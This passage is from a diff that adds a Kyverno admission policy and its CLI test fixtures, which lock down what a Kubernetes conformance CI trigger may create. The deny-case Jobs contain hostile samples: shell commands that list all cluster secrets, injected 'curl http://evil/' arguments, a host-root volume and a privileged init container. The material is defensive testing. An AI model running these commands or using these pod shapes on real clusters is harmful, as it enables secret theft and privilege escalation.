||||||
|
# and the whole policy loads as INVALID, which the CLI reports as a SKIP.
|
||||||
|
match:
|
||||||
|
all:
|
||||||
|
- resources:
|
||||||
|
kinds:
|
||||||
|
- Job
|
||||||
|
namespaces:
|
||||||
|
- conformance
|
||||||
|
subjects:
|
||||||
|
- kind: ServiceAccount
|
||||||
|
name: conformance-trigger
|
||||||
|
namespace: conformance
|
||||||
|
validate:
|
||||||
|
message: >-
|
||||||
|
conformance-trigger Jobs may carry at most ONE initContainer, and it must be the
|
||||||
|
committed clone step: the digest-pinned conformance-runner image,
|
||||||
|
command ["/usr/local/bin/conformance-clone"], NO args, non-root, no privilege
|
||||||
|
escalation, not privileged. An initContainer running a shell with a caller-supplied
|
||||||
|
script is arbitrary code execution as the privileged conformance-runner SA — the
|
||||||
|
escalation the rest of this policy exists to prevent. See
|
||||||
|
conformance/incluster/conformance-clone.
|
||||||
|
foreach:
|
||||||
|
- list: "request.object.spec.template.spec.initContainers"
|
||||||
|
deny:
|
||||||
|
conditions:
|
||||||
|
any:
|
||||||
|
# At most one. The committed run needs exactly one clone step; a second
|
||||||
|
# init container has no legitimate purpose and is how you smuggle one in.
|
||||||
|
- key: "{{ length(request.object.spec.template.spec.initContainers) }}"
|
||||||
|
operator: GreaterThan
|
||||||
|
value: 1
|
||||||
|
# Digest-pinned under the conformance repository path — same rule as
|
||||||
|
# containers[0], same honest limit (see IMAGE PINNING in the header).
|
||||||
|
- key: "{{ regex_match('^gitea\\.home\\.keithjackson\\.dev/home-network/conformance-runner@sha256:.+$', element.image) }}"
|
||||||
|
operator: Equals
|
||||||
|
value: false
|
||||||
|
# The baked-in entrypoint, exactly — not a shell, not a second path.
|
||||||
|
# `join` so this compares a STRING: Equals/NotEquals on arrays is not
|
||||||
|
# dependable, and `["/bin/sh","-c",...]` must not pass by matching element 0.
|
||||||
|
- key: "{{ join(' ', not_null(element.command, `[]`)) }}"
|
||||||
|
operator: NotEquals
|
||||||
|
value: "/usr/local/bin/conformance-clone"
|
||||||
|
# NO ARGS. This is the whole point: args on an init container are
|
||||||
|
# caller-supplied code. Only env may be passed, and the entrypoint validates it.
|
||||||
|
- key: "{{ length(not_null(element.args, `[]`)) }}"
|
||||||
|
operator: GreaterThan
|
||||||
|
value: 0
|
||||||
|
# not_null(), NOT `||`: JMESPath treats `false` as falsy, so
|
||||||
|
# `element.securityContext.allowPrivilegeEscalation || `true`` would rewrite
|
||||||
|
# the COMPLIANT value false into true and deny every good Job.
|
||||||
|
- key: "{{ not_null(element.securityContext.runAsNonRoot, `false`) }}"
|
||||||
|
operator: NotEquals
|
||||||
|
value: true
|
||||||
|
- key: "{{ not_null(element.securityContext.allowPrivilegeEscalation, `true`) }}"
|
||||||
|
operator: NotEquals
|
||||||
|
value: false
|
||||||
|
- key: "{{ not_null(element.securityContext.privileged, `false`) }}"
|
||||||
|
operator: NotEquals
|
||||||
|
value: false
|
||||||
|
|
||||||
|
# =========================================================================================
|
||||||
|
# ADDED 2026-09-29, same review as the rule above: `ephemeralContainers` is the third
|
||||||
|
# container list on a PodSpec, and it was as unread as `initContainers` was.
|
||||||
|
#
|
||||||
|
# Upstream Kubernetes is BELIEVED to reject `ephemeralContainers` in a Job's pod template
|
||||||
|
# (the field is settable only through the `pods/ephemeralcontainers` subresource), which
|
||||||
|
# would make this rule dead weight. THAT WAS NOT VERIFIED against this cluster, and
|
||||||
|
# "probably rejected upstream" is not a boundary. The rule costs one condition, is a no-op
|
||||||
|
# when the field is absent, and removes the need to be right about it. If the API server
|
||||||
|
# does reject it, nothing changes; if it does not, this is the same hole again.
|
||||||
|
# =========================================================================================
|
||||||
|
- name: trigger-may-not-declare-ephemeral-containers
|
||||||
|
# resources AND subjects in the SAME filter entry — see the note on the rules above.
|
||||||
|
match:
|
||||||
|
all:
|
||||||
|
- resources:
|
||||||
|
kinds:
|
||||||
|
- Job
|
||||||
|
namespaces:
|
||||||
|
- conformance
|
||||||
|
subjects:
|
||||||
|
- kind: ServiceAccount
|
||||||
|
name: conformance-trigger
|
||||||
|
namespace: conformance
|
||||||
|
validate:
|
||||||
|
message: >-
|
||||||
|
conformance-trigger Jobs may not declare ephemeralContainers. The committed
|
||||||
|
conformance run has no use for one, and an ephemeral container is a third container
|
||||||
|
list running as the privileged conformance-runner SA with an arbitrary command.
|
||||||
|
deny:
|
||||||
|
conditions:
|
||||||
|
all:
|
||||||
|
- key: "{{ length(not_null(request.object.spec.template.spec.ephemeralContainers, `[]`)) }}"
|
||||||
|
operator: GreaterThan
|
||||||
|
value: 0
|
||||||
|
|
||||||
|
# =========================================================================================
|
||||||
|
# ADDED 2026-09-29 — `env` WAS THE NEXT UNREAD FIELD, and it is the same mistake a third time.
|
||||||
|
#
|
||||||
|
# The pattern is now unmistakable: this policy pins `command` and `args`, so injection moves
|
||||||
|
# to whatever adjacent field nobody enumerated. It was `initContainers`, then
|
||||||
|
# `ephemeralContainers`, and `env` was still wide open — an admitted Job could set ANY
|
||||||
|
# environment variable on either container.
|
||||||
|
#
|
||||||
|
# That is not hypothetical. Both programs the Job runs read their environment:
|
||||||
|
# * /usr/local/bin/conformance-clone takes CONFORMANCE_GIT_SHA, and accepts
|
||||||
|
# CONFORMANCE_REPO_URL / CONFORMANCE_SRC only when they EQUAL the values baked into the
|
||||||
|
# image (it dies on a mismatch rather than honouring a redirect — which is why the
|
||||||
|
# specific "clone an attacker's repo and run its ./run.sh as conformance-runner" path is
|
||||||
|
# already closed there, in the image, not here);
|
||||||
|
# * run.sh takes CONF_ARTIFACTS and CONF_EMIT_ARTIFACTS_TGZ.
|
||||||
|
# And bash itself takes BASH_ENV, which it sources before a non-interactive script — so
|
||||||
|
# `command: ["./run.sh"]` plus one env var is enough to change what actually executes.
|
||||||
|
# Defence in depth belongs here too: the entrypoint's own validation should not be the only
|
||||||
|
# thing standing between a caller-chosen env var and the privileged SA.
|
||||||
|
#
|
||||||
|
# NOT CONSTRAINED, and deliberately: the VALUES, and which Secret a `valueFrom` reads.
|
||||||
|
# Values are legitimately environment-specific (TMPDIR/HOME differ by image), and
|
||||||
|
# conformance-runner can already read Secrets in this namespace via its own RBAC, so
|
||||||
|
# pinning the source Secret would buy nothing. Names are the vector that matters, because a
|
||||||
|
# name is what a program keys its behaviour on.
|
||||||
|
# =========================================================================================
|
||||||
|
- name: trigger-env-names-must-be-the-committed-set
|
||||||
|
# resources AND subjects in the SAME filter entry — see the note on the rules above.
|
||||||
|
match:
|
||||||
|
all:
|
||||||
|
- resources:
|
||||||
|
kinds:
|
||||||
|
- Job
|
||||||
|
namespaces:
|
||||||
|
- conformance
|
||||||
|
subjects:
|
||||||
|
- kind: ServiceAccount
|
||||||
|
name: conformance-trigger
|
||||||
|
namespace: conformance
|
||||||
|
validate:
|
||||||
|
message: >-
|
||||||
|
conformance-trigger Jobs may set only the committed environment variables. The runner
|
||||||
|
container may set CONF_ARTIFACTS, CONF_EMIT_ARTIFACTS_TGZ, TMPDIR and HOME; the clone
|
||||||
|
init container may set CONFORMANCE_GIT_SHA, CONFORMANCE_REPO_URL, CONFORMANCE_SRC,
|
||||||
|
GITEA_USERNAME, GITEA_TOKEN, TMPDIR and HOME. An arbitrary env var changes what the
|
||||||
|
pinned command does — BASH_ENV alone is arbitrary code execution as the privileged
|
||||||
|
conformance-runner SA. Widening this list is a reviewed one-line change.
|
||||||
|
foreach:
|
||||||
|
- list: "request.object.spec.template.spec.containers[0].env"
|
||||||
|
deny:
|
||||||
|
conditions:
|
||||||
|
all:
|
||||||
|
- key: "{{ element.name }}"
|
||||||
|
operator: AnyNotIn
|
||||||
|
value:
|
||||||
|
- CONF_ARTIFACTS
|
||||||
|
- CONF_EMIT_ARTIFACTS_TGZ
|
||||||
|
- TMPDIR
|
||||||
|
- HOME
|
||||||
|
# Flattened across init containers: the rule above already caps them at one, but this
|
||||||
|
# must not silently stop checking if that cap is ever relaxed.
|
||||||
|
- list: "request.object.spec.template.spec.initContainers[].env[]"
|
||||||
|
deny:
|
||||||
|
conditions:
|
||||||
|
all:
|
||||||
|
- key: "{{ element.name }}"
|
||||||
|
operator: AnyNotIn
|
||||||
|
value:
|
||||||
|
- CONFORMANCE_GIT_SHA
|
||||||
|
- CONFORMANCE_REPO_URL
|
||||||
|
- CONFORMANCE_SRC
|
||||||
|
- GITEA_USERNAME
|
||||||
|
- GITEA_TOKEN
|
||||||
|
- TMPDIR
|
||||||
|
- HOME
|
||||||
|
|
||||||
|
- name: trigger-may-not-use-envfrom
|
||||||
|
# resources AND subjects in the SAME filter entry — see the note on the rules above.
|
||||||
|
match:
|
||||||
|
all:
|
||||||
|
- resources:
|
||||||
|
kinds:
|
||||||
|
- Job
|
||||||
|
namespaces:
|
||||||
|
- conformance
|
||||||
|
subjects:
|
||||||
|
- kind: ServiceAccount
|
||||||
|
name: conformance-trigger
|
||||||
|
namespace: conformance
|
||||||
|
validate:
|
||||||
|
message: >-
|
||||||
|
conformance-trigger Jobs may not use envFrom. It injects an entire ConfigMap or Secret
|
||||||
|
as environment variables, whose KEYS are not visible in the Job at all — which would
|
||||||
|
make the env-name allowlist above unenforceable by inspection.
|
||||||
|
deny:
|
||||||
|
conditions:
|
||||||
|
any:
|
||||||
|
- key: "{{ length(not_null(request.object.spec.template.spec.containers[0].envFrom, `[]`)) }}"
|
||||||
|
operator: GreaterThan
|
||||||
|
value: 0
|
||||||
|
- key: "{{ length(not_null(request.object.spec.template.spec.initContainers[].envFrom[], `[]`)) }}"
|
||||||
|
operator: GreaterThan
|
||||||
|
value: 0
|
||||||
@@ -20,3 +20,7 @@ resources:
|
|||||||
# --- secrets: the admission variant REPLACES the CI-only sops-block policy ---
|
# --- secrets: the admission variant REPLACES the CI-only sops-block policy ---
|
||||||
# (../policies/disallow-plaintext-secrets.yaml is CI-only; see secret-provenance.yaml)
|
# (../policies/disallow-plaintext-secrets.yaml is CI-only; see secret-provenance.yaml)
|
||||||
- secret-provenance.yaml
|
- secret-provenance.yaml
|
||||||
|
# --- R-SEC-02: constrain what the conformance CI trigger may create ---
|
||||||
|
# THE security boundary for CI cluster access. Enforce + fail-closed, deliberately NOT
|
||||||
|
# subject to ${KYVERNO_VALIDATION_ACTION}. See the file header.
|
||||||
|
- conformance-trigger-job-shape.yaml
|
||||||
@@ -0,0 +1,120 @@
|
|||||||
|
# R-SEC-02 — the conformance CI trigger cannot escalate to arbitrary privileged execution.
|
||||||
|
#
|
||||||
|
# Each DENY case below is a real escalation path, not a style violation. The one that matters
|
||||||
|
# most is `evil-command`: correct SA, correct image, arbitrary command. That is the attack the
|
||||||
|
# whole model exists to stop, and RBAC alone cannot — Kubernetes places no `use` check on
|
||||||
|
# serviceAccountName, so `create jobs` in this namespace IS the privileged identity without
|
||||||
|
# this policy.
|
||||||
|
#
|
||||||
|
# user-info.yaml supplies the requesting identity. WITHOUT it the policy's `subjects` match
|
||||||
|
# never fires and every case trivially passes — a test that proves nothing.
|
||||||
|
apiVersion: cli.kyverno.io/v1alpha1
|
||||||
|
kind: Test
|
||||||
|
metadata:
|
||||||
|
name: conformance-trigger-job-shape
|
||||||
|
policies:
|
||||||
|
- ../../admission/conformance-trigger-job-shape.yaml
|
||||||
|
resources:
|
||||||
|
- resources.yaml
|
||||||
|
userinfo: user-info.yaml
|
||||||
|
results:
|
||||||
|
# ---- the committed run is ADMITTED ----
|
||||||
|
# `real-template` is conformance/incluster/chainsaw-job.yaml as the CI trigger renders it:
|
||||||
|
# init container + env-from-secretKeyRef credential + the two allowed volumes. It is here
|
||||||
|
# so a template that drifts OUT of admission fails `make -C ci l0` rather than failing at
|
||||||
|
# 2am against the live cluster. `good-run` remains the minimal shape.
|
||||||
|
- policy: conformance-trigger-job-shape
|
||||||
|
rule: trigger-may-create-only-the-committed-conformance-run
|
||||||
|
kind: Job
|
||||||
|
resources: [good-run, real-template]
|
||||||
|
result: pass
|
||||||
|
- policy: conformance-trigger-job-shape
|
||||||
|
rule: trigger-volumes-must-be-workspace-or-results
|
||||||
|
kind: Job
|
||||||
|
resources: [good-run, real-template]
|
||||||
|
result: pass
|
||||||
|
- policy: conformance-trigger-job-shape
|
||||||
|
rule: trigger-args-must-be-the-committed-flags
|
||||||
|
kind: Job
|
||||||
|
resources: [good-run, real-template]
|
||||||
|
result: pass
|
||||||
|
# `real-template` is the only fixture WITH an init container, so it is the only one this
|
||||||
|
# rule reports on — a foreach over an absent list yields no result at all, which is why
|
||||||
|
# `good-run` is not listed here.
|
||||||
|
- policy: conformance-trigger-job-shape
|
||||||
|
rule: trigger-initcontainers-must-be-the-committed-clone-step
|
||||||
|
kind: Job
|
||||||
|
resources: [real-template]
|
||||||
|
result: pass
|
||||||
|
- policy: conformance-trigger-job-shape
|
||||||
|
rule: trigger-may-not-declare-ephemeral-containers
|
||||||
|
kind: Job
|
||||||
|
resources: [good-run, real-template]
|
||||||
|
result: pass
|
||||||
|
# Only `real-template` sets env, so it is the only fixture this rule reports a pass on.
|
||||||
|
- policy: conformance-trigger-job-shape
|
||||||
|
rule: trigger-env-names-must-be-the-committed-set
|
||||||
|
kind: Job
|
||||||
|
resources: [real-template]
|
||||||
|
result: pass
|
||||||
|
- policy: conformance-trigger-job-shape
|
||||||
|
rule: trigger-may-not-use-envfrom
|
||||||
|
kind: Job
|
||||||
|
resources: [good-run, real-template]
|
||||||
|
result: pass
|
||||||
|
|
||||||
|
# ---- THE escalation: runner SA + arbitrary command ----
|
||||||
|
- policy: conformance-trigger-job-shape
|
||||||
|
rule: trigger-may-create-only-the-committed-conformance-run
|
||||||
|
kind: Job
|
||||||
|
resources: [evil-command, evil-image, tag-not-digest, host-namespaces]
|
||||||
|
result: fail
|
||||||
|
|
||||||
|
# ---- an extra volume is the way out of a constrained pod ----
|
||||||
|
- policy: conformance-trigger-job-shape
|
||||||
|
rule: trigger-volumes-must-be-workspace-or-results
|
||||||
|
kind: Job
|
||||||
|
resources: [extra-volume]
|
||||||
|
result: fail
|
||||||
|
|
||||||
|
# ---- args beyond the committed flags ----
|
||||||
|
- policy: conformance-trigger-job-shape
|
||||||
|
rule: trigger-args-must-be-the-committed-flags
|
||||||
|
kind: Job
|
||||||
|
resources: [injected-args]
|
||||||
|
result: fail
|
||||||
|
|
||||||
|
# ---- THE SAME ESCALATION VIA `initContainers`, which the three rules above all miss ----
|
||||||
|
# Each of these has a fully compliant `containers[0]` and was ADMITTED (pass 3, fail 0)
|
||||||
|
# before `trigger-initcontainers-must-be-the-committed-clone-step` existed. `evil-initcontainer`
|
||||||
|
# is the coordinator's independent reproduction; keeping it here is what stops the hole
|
||||||
|
# reopening.
|
||||||
|
- policy: conformance-trigger-job-shape
|
||||||
|
rule: trigger-initcontainers-must-be-the-committed-clone-step
|
||||||
|
kind: Job
|
||||||
|
resources: [evil-initcontainer, initcontainer-with-args, second-initcontainer]
|
||||||
|
result: fail
|
||||||
|
|
||||||
|
# ---- and via the third container list nobody was reading ----
|
||||||
|
- policy: conformance-trigger-job-shape
|
||||||
|
rule: trigger-may-not-declare-ephemeral-containers
|
||||||
|
kind: Job
|
||||||
|
resources: [evil-ephemeral-container]
|
||||||
|
result: fail
|
||||||
|
|
||||||
|
# ---- and via `env`, the same mistake a third time ----
|
||||||
|
# `command` is pinned, so the injection moves to a variable the pinned command honours.
|
||||||
|
# BASH_ENV is sourced by bash before a non-interactive script, so it alone is arbitrary code
|
||||||
|
# execution as conformance-runner. Note `injected-initcontainer-env` PASSES the initContainer
|
||||||
|
# rule — its container shape is perfect and only its env is hostile, which is exactly why the
|
||||||
|
# env rule has to exist separately.
|
||||||
|
- policy: conformance-trigger-job-shape
|
||||||
|
rule: trigger-env-names-must-be-the-committed-set
|
||||||
|
kind: Job
|
||||||
|
resources: [injected-env, injected-initcontainer-env]
|
||||||
|
result: fail
|
||||||
|
- policy: conformance-trigger-job-shape
|
||||||
|
rule: trigger-may-not-use-envfrom
|
||||||
|
kind: Job
|
||||||
|
resources: [envfrom-whole-secret]
|
||||||
|
result: fail
|
||||||
@@ -0,0 +1,464 @@
|
|||||||
|
# THE COMMITTED TEMPLATE, as conformance/incluster/chainsaw-job.yaml renders it (plan §3
|
||||||
|
# items 2 and 3): one compliant container, plus a git-clone INIT container, plus the git
|
||||||
|
# credential as env-from-secretKeyRef rather than a volume — because `workspace` and
|
||||||
|
# `results` are the only two volume names admission allows. Must be ADMITTED.
|
||||||
|
#
|
||||||
|
# This case exists so `make -C ci l0` fails if that template ever drifts out of admission.
|
||||||
|
# Keep the admission-relevant fields (image, serviceAccountName, command, args, volumes,
|
||||||
|
# securityContext, and the presence of the init container) in step with it.
|
||||||
|
#
|
||||||
|
# The init container carries NO args: its logic is baked into the runner image at
|
||||||
|
# /usr/local/bin/conformance-clone (source: conformance/incluster/conformance-clone).
|
||||||
|
# That is what makes `trigger-initcontainers-must-be-the-committed-clone-step` enforceable —
|
||||||
|
# see `evil-initcontainer` below for the escalation it closes.
|
||||||
|
apiVersion: batch/v1
|
||||||
|
kind: Job
|
||||||
|
metadata:
|
||||||
|
name: real-template
|
||||||
|
namespace: conformance
|
||||||
|
spec:
|
||||||
|
template:
|
||||||
|
spec:
|
||||||
|
serviceAccountName: conformance-runner
|
||||||
|
securityContext:
|
||||||
|
runAsNonRoot: true
|
||||||
|
runAsUser: 65532
|
||||||
|
fsGroup: 65532
|
||||||
|
initContainers:
|
||||||
|
- name: clone-suite-at-commit
|
||||||
|
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
||||||
|
command: ["/usr/local/bin/conformance-clone"]
|
||||||
|
env:
|
||||||
|
- name: CONFORMANCE_GIT_SHA
|
||||||
|
value: "0123456789abcdef0123456789abcdef01234567"
|
||||||
|
# BY SECRET NAME ONLY — and as env, not as a volume.
|
||||||
|
- name: GITEA_USERNAME
|
||||||
|
valueFrom:
|
||||||
|
secretKeyRef: { name: conformance-git-readonly, key: username }
|
||||||
|
- name: GITEA_TOKEN
|
||||||
|
valueFrom:
|
||||||
|
secretKeyRef: { name: conformance-git-readonly, key: token }
|
||||||
|
volumeMounts:
|
||||||
|
- { name: workspace, mountPath: /workspace }
|
||||||
|
securityContext:
|
||||||
|
runAsNonRoot: true
|
||||||
|
allowPrivilegeEscalation: false
|
||||||
|
readOnlyRootFilesystem: true
|
||||||
|
capabilities: { drop: ["ALL"] }
|
||||||
|
containers:
|
||||||
|
- name: chainsaw
|
||||||
|
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
||||||
|
workingDir: /workspace/src/conformance
|
||||||
|
command: ["./run.sh"]
|
||||||
|
args: ["--layer", "l2,l3", "--include-scope", "whole-repo", "--requirements", "R-NET-01,R-TLS-02"]
|
||||||
|
env:
|
||||||
|
- name: CONF_ARTIFACTS
|
||||||
|
value: /results
|
||||||
|
- name: CONF_EMIT_ARTIFACTS_TGZ
|
||||||
|
value: "1"
|
||||||
|
volumeMounts:
|
||||||
|
- { name: workspace, mountPath: /workspace }
|
||||||
|
- { name: results, mountPath: /results }
|
||||||
|
securityContext:
|
||||||
|
runAsNonRoot: true
|
||||||
|
allowPrivilegeEscalation: false
|
||||||
|
readOnlyRootFilesystem: true
|
||||||
|
capabilities: { drop: ["ALL"] }
|
||||||
|
volumes:
|
||||||
|
- name: workspace
|
||||||
|
emptyDir: {}
|
||||||
|
- name: results
|
||||||
|
emptyDir: {}
|
||||||
|
---
|
||||||
|
# The minimal committed shape — must be ADMITTED.
|
||||||
|
apiVersion: batch/v1
|
||||||
|
kind: Job
|
||||||
|
metadata:
|
||||||
|
name: good-run
|
||||||
|
namespace: conformance
|
||||||
|
spec:
|
||||||
|
template:
|
||||||
|
spec:
|
||||||
|
serviceAccountName: conformance-runner
|
||||||
|
containers:
|
||||||
|
- name: runner
|
||||||
|
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
||||||
|
command: ["./run.sh"]
|
||||||
|
args: ["--layer", "l2,l3", "--requirements", "R-NET-01"]
|
||||||
|
securityContext:
|
||||||
|
runAsNonRoot: true
|
||||||
|
allowPrivilegeEscalation: false
|
||||||
|
volumes:
|
||||||
|
- name: workspace
|
||||||
|
emptyDir: {}
|
||||||
|
- name: results
|
||||||
|
emptyDir: {}
|
||||||
|
---
|
||||||
|
# THE ESCALATION: runner SA, but an arbitrary command. Must be DENIED.
|
||||||
|
apiVersion: batch/v1
|
||||||
|
kind: Job
|
||||||
|
metadata:
|
||||||
|
name: evil-command
|
||||||
|
namespace: conformance
|
||||||
|
spec:
|
||||||
|
template:
|
||||||
|
spec:
|
||||||
|
serviceAccountName: conformance-runner
|
||||||
|
containers:
|
||||||
|
- name: runner
|
||||||
|
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
||||||
|
command: ["/bin/sh", "-c", "kubectl get secrets -A"]
|
||||||
|
securityContext:
|
||||||
|
runAsNonRoot: true
|
||||||
|
allowPrivilegeEscalation: false
|
||||||
|
volumes:
|
||||||
|
- name: workspace
|
||||||
|
emptyDir: {}
|
||||||
|
---
|
||||||
|
# An arbitrary image running as the privileged SA. Must be DENIED.
|
||||||
|
apiVersion: batch/v1
|
||||||
|
kind: Job
|
||||||
|
metadata:
|
||||||
|
name: evil-image
|
||||||
|
namespace: conformance
|
||||||
|
spec:
|
||||||
|
template:
|
||||||
|
spec:
|
||||||
|
serviceAccountName: conformance-runner
|
||||||
|
containers:
|
||||||
|
- name: runner
|
||||||
|
image: docker.io/library/alpine:latest
|
||||||
|
command: ["./run.sh"]
|
||||||
|
securityContext:
|
||||||
|
runAsNonRoot: true
|
||||||
|
allowPrivilegeEscalation: false
|
||||||
|
volumes:
|
||||||
|
- name: workspace
|
||||||
|
emptyDir: {}
|
||||||
|
---
|
||||||
|
# A mutable TAG instead of a digest — republishable under the same reference. Must be DENIED.
|
||||||
|
apiVersion: batch/v1
|
||||||
|
kind: Job
|
||||||
|
metadata:
|
||||||
|
name: tag-not-digest
|
||||||
|
namespace: conformance
|
||||||
|
spec:
|
||||||
|
template:
|
||||||
|
spec:
|
||||||
|
serviceAccountName: conformance-runner
|
||||||
|
containers:
|
||||||
|
- name: runner
|
||||||
|
image: gitea.home.keithjackson.dev/home-network/conformance-runner:latest
|
||||||
|
command: ["./run.sh"]
|
||||||
|
securityContext:
|
||||||
|
runAsNonRoot: true
|
||||||
|
allowPrivilegeEscalation: false
|
||||||
|
volumes:
|
||||||
|
- name: workspace
|
||||||
|
emptyDir: {}
|
||||||
|
---
|
||||||
|
# Host namespaces + privilege escalation. Must be DENIED.
|
||||||
|
apiVersion: batch/v1
|
||||||
|
kind: Job
|
||||||
|
metadata:
|
||||||
|
name: host-namespaces
|
||||||
|
namespace: conformance
|
||||||
|
spec:
|
||||||
|
template:
|
||||||
|
spec:
|
||||||
|
serviceAccountName: conformance-runner
|
||||||
|
hostPID: true
|
||||||
|
containers:
|
||||||
|
- name: runner
|
||||||
|
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
||||||
|
command: ["./run.sh"]
|
||||||
|
securityContext:
|
||||||
|
runAsNonRoot: false
|
||||||
|
allowPrivilegeEscalation: true
|
||||||
|
volumes:
|
||||||
|
- name: workspace
|
||||||
|
emptyDir: {}
|
||||||
|
---
|
||||||
|
# An extra volume — the way out of a constrained pod. Must be DENIED.
|
||||||
|
apiVersion: batch/v1
|
||||||
|
kind: Job
|
||||||
|
metadata:
|
||||||
|
name: extra-volume
|
||||||
|
namespace: conformance
|
||||||
|
spec:
|
||||||
|
template:
|
||||||
|
spec:
|
||||||
|
serviceAccountName: conformance-runner
|
||||||
|
containers:
|
||||||
|
- name: runner
|
||||||
|
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
||||||
|
command: ["./run.sh"]
|
||||||
|
securityContext:
|
||||||
|
runAsNonRoot: true
|
||||||
|
allowPrivilegeEscalation: false
|
||||||
|
volumes:
|
||||||
|
- name: workspace
|
||||||
|
emptyDir: {}
|
||||||
|
- name: hostroot
|
||||||
|
hostPath:
|
||||||
|
path: /
|
||||||
|
---
|
||||||
|
# Injected args beyond the committed flags. Must be DENIED.
|
||||||
|
apiVersion: batch/v1
|
||||||
|
kind: Job
|
||||||
|
metadata:
|
||||||
|
name: injected-args
|
||||||
|
namespace: conformance
|
||||||
|
spec:
|
||||||
|
template:
|
||||||
|
spec:
|
||||||
|
serviceAccountName: conformance-runner
|
||||||
|
containers:
|
||||||
|
- name: runner
|
||||||
|
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
||||||
|
command: ["./run.sh"]
|
||||||
|
args: ["--layer", "l2", ";", "curl", "http://evil/"]
|
||||||
|
securityContext:
|
||||||
|
runAsNonRoot: true
|
||||||
|
allowPrivilegeEscalation: false
|
||||||
|
volumes:
|
||||||
|
- name: workspace
|
||||||
|
emptyDir: {}
|
||||||
|
---
|
||||||
|
# THE SECOND ESCALATION, and the one the first three rules missed entirely (2026-09-29): a
|
||||||
|
# fully compliant `containers[0]` beside a PRIVILEGED, arbitrary-image, arbitrary-command
|
||||||
|
# INIT container running as the privileged conformance-runner SA. Before
|
||||||
|
# `trigger-initcontainers-must-be-the-committed-clone-step` existed this was ADMITTED —
|
||||||
|
# `pass: 3, fail: 0` — because every rule read `containers`, never `initContainers`, and
|
||||||
|
# rule 1's `=(privileged): "false"` only ever applied to `containers[0]`.
|
||||||
|
#
|
||||||
|
# This is the coordinator's independent reproduction, kept verbatim so it stays failing.
|
||||||
|
# Must be DENIED.
|
||||||
|
apiVersion: batch/v1
|
||||||
|
kind: Job
|
||||||
|
metadata:
|
||||||
|
name: evil-initcontainer
|
||||||
|
namespace: conformance
|
||||||
|
spec:
|
||||||
|
template:
|
||||||
|
spec:
|
||||||
|
serviceAccountName: conformance-runner
|
||||||
|
initContainers:
|
||||||
|
- name: sneak
|
||||||
|
image: docker.io/library/alpine:latest
|
||||||
|
command: ["/bin/sh", "-c", "kubectl get secrets -A"]
|
||||||
|
securityContext:
|
||||||
|
privileged: true
|
||||||
|
containers:
|
||||||
|
- name: runner
|
||||||
|
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
||||||
|
command: ["./run.sh"]
|
||||||
|
args: ["--layer", "l2"]
|
||||||
|
securityContext:
|
||||||
|
runAsNonRoot: true
|
||||||
|
allowPrivilegeEscalation: false
|
||||||
|
volumes:
|
||||||
|
- name: workspace
|
||||||
|
emptyDir: {}
|
||||||
|
- name: results
|
||||||
|
emptyDir: {}
|
||||||
|
---
|
||||||
|
# The committed clone entrypoint, but with `args` appended — i.e. the entrypoint used as a
|
||||||
|
# vehicle for caller-supplied code. "No args" is the whole property that makes a pinned
|
||||||
|
# command mean anything, so this must be DENIED even though image and command are correct.
|
||||||
|
apiVersion: batch/v1
|
||||||
|
kind: Job
|
||||||
|
metadata:
|
||||||
|
name: initcontainer-with-args
|
||||||
|
namespace: conformance
|
||||||
|
spec:
|
||||||
|
template:
|
||||||
|
spec:
|
||||||
|
serviceAccountName: conformance-runner
|
||||||
|
initContainers:
|
||||||
|
- name: clone-suite-at-commit
|
||||||
|
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
||||||
|
command: ["/usr/local/bin/conformance-clone"]
|
||||||
|
args: ["--exec", "curl http://evil/"]
|
||||||
|
securityContext:
|
||||||
|
runAsNonRoot: true
|
||||||
|
allowPrivilegeEscalation: false
|
||||||
|
containers:
|
||||||
|
- name: runner
|
||||||
|
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
||||||
|
command: ["./run.sh"]
|
||||||
|
args: ["--layer", "l2"]
|
||||||
|
securityContext:
|
||||||
|
runAsNonRoot: true
|
||||||
|
allowPrivilegeEscalation: false
|
||||||
|
volumes:
|
||||||
|
- name: workspace
|
||||||
|
emptyDir: {}
|
||||||
|
- name: results
|
||||||
|
emptyDir: {}
|
||||||
|
---
|
||||||
|
# A SECOND init container beside the legitimate clone step. A Kyverno array `pattern` would
|
||||||
|
# admit this ("at least one element matches"), which is why the rule uses `deny` conditions
|
||||||
|
# and caps the count. Must be DENIED.
|
||||||
|
apiVersion: batch/v1
|
||||||
|
kind: Job
|
||||||
|
metadata:
|
||||||
|
name: second-initcontainer
|
||||||
|
namespace: conformance
|
||||||
|
spec:
|
||||||
|
template:
|
||||||
|
spec:
|
||||||
|
serviceAccountName: conformance-runner
|
||||||
|
initContainers:
|
||||||
|
- name: clone-suite-at-commit
|
||||||
|
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
||||||
|
command: ["/usr/local/bin/conformance-clone"]
|
||||||
|
securityContext:
|
||||||
|
runAsNonRoot: true
|
||||||
|
allowPrivilegeEscalation: false
|
||||||
|
- name: also-me
|
||||||
|
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
||||||
|
command: ["/bin/sh", "-c", "kubectl get secrets -A"]
|
||||||
|
securityContext:
|
||||||
|
runAsNonRoot: true
|
||||||
|
allowPrivilegeEscalation: false
|
||||||
|
containers:
|
||||||
|
- name: runner
|
||||||
|
